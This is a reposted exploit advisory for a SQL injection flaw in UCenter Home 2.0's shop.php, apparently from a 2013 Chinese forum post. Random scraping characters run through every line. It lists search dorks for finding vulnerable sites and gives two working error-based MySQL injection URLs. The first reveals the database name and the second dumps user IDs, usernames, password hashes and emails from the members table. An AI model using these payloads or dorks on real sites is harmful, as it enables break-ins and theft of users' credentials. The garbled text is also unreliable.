, F8 V& R1 }/ q. ]* y% N4 ~& Y
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ 9 l4 K. l1 ]0 K0 i R& R* Y
; Q% `) k, T! @# k2 i0 n1 E" m
% X3 U2 ^% a5 s: L. ^3 Q
3 H# |$ h1 s- C6 x& [*/ Author : KnocKout
3 F: p9 ?' y8 L, e7 v' [5 z6 h F+ q
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers 6 u% K" R# n/ v4 w* N6 Y
( @+ W. u' ?8 C, e*/ Contact: knockoutr@msn.com
3 R, v* Q! Q) f: b3 S/ o9 L. B
) T8 P' F5 L0 \$ T* ]( Q*/ Cyber-Warrior.org/CWKnocKout 9 b+ f) ?: R* ]$ P: ?2 s0 E
! _# d' O T* x5 M. f; ~9 w9 u
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 5 O+ W! X( f) }. s, p/ I7 B& m5 v
2 b3 W2 d" {& {! K% F. A
Script : UCenter Home " h1 R, j5 O$ R3 ~; J' [# o/ l
' p$ V6 J) M6 r
Version : 2.0
+ g" c& k% u$ _4 ] [- `: d
+ F- g \' X1 dScript HomePage : http://u.discuz.net/ . A7 f; `- i4 r6 E
y( m- v5 o2 h2 n/ e1 e__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== - R. { V" t- F4 I' s: [
]; I7 V" |" ~3 g. g/ NDork : Powered by UCenter inurl:shop.php?ac=view ' ], \7 C) E \& D, S
0 I! ^ `7 T$ A
Dork 2 : inurl:shop.php?ac=view&shopid= * \; O* Y! A; x: f
8 j0 t% ^" r3 I* f! J6 c w' ^1 p
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
/ O7 d6 W( `: o8 b& o1 A& G
$ Y9 e8 O8 T# OVuln file : Shop.php
$ r/ z, \/ l/ [# j
: _3 b+ {0 x5 s5 K+ i. w5 l' I! i: `value's : (?)ac=view&shopid= 8 D# O' @) o& A" n
1 K) ?9 V7 F1 W1 f4 o" }; A
Vulnerable Style : SQL Injection (MySQL Error Based) ; i' B# J: R0 `8 F( {
' c/ z5 g$ I: l' G5 C' c
Need Metarials : Hex Conversion - w/ Y* P9 g; g% M/ K; |
, d( P% J$ ^/ d# J9 A* D
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
$ d1 ?/ k7 n" e/ o8 \" x3 ]* C( _( q% O8 H5 [
Your Need victim Database name.
- n' Z. p1 s: u
0 {; J4 K( o3 v8 ?4 m% z8 s0 s* Ffor Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
: s+ u4 b, q3 ?, `3 w+ u
6 }# F3 l! n0 @' c( n* P! y0 B..
. q# c4 u) d0 E0 M% O. ~0 r* g. i& s, G& b
DB : Okey. : Y) t4 t, T0 Z1 y5 [
: ^# x) L: V6 \: b. W
your edit DB `[TARGET DB NAME]`
1 _* V) r% k! `+ U% m2 Z- y. _. D2 M) V8 @7 F$ s
Example : 'hiwir1_ucenter' ' k# R$ `4 r" }2 w' j& F# R( O/ o
, ]: Q% J; A/ I
Edit : Okey.
' d' x r. ^; s( H$ s* \. r* ^/ ?8 t# x
Your use Hex conversion. And edit Your SQL Injection Exploit..
! M; v4 h3 ?$ a0 R4 e" p0 B9 K8 `3 m9 B3 I
9 P: j+ _: E- ?" G& e3 o5 f+ H2 v
: m* Q1 f5 _4 }; fExploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
* d4 a, A9 j9 R+ ^ |
发表于 2013-2-27 21:31:31
收藏
支持
反对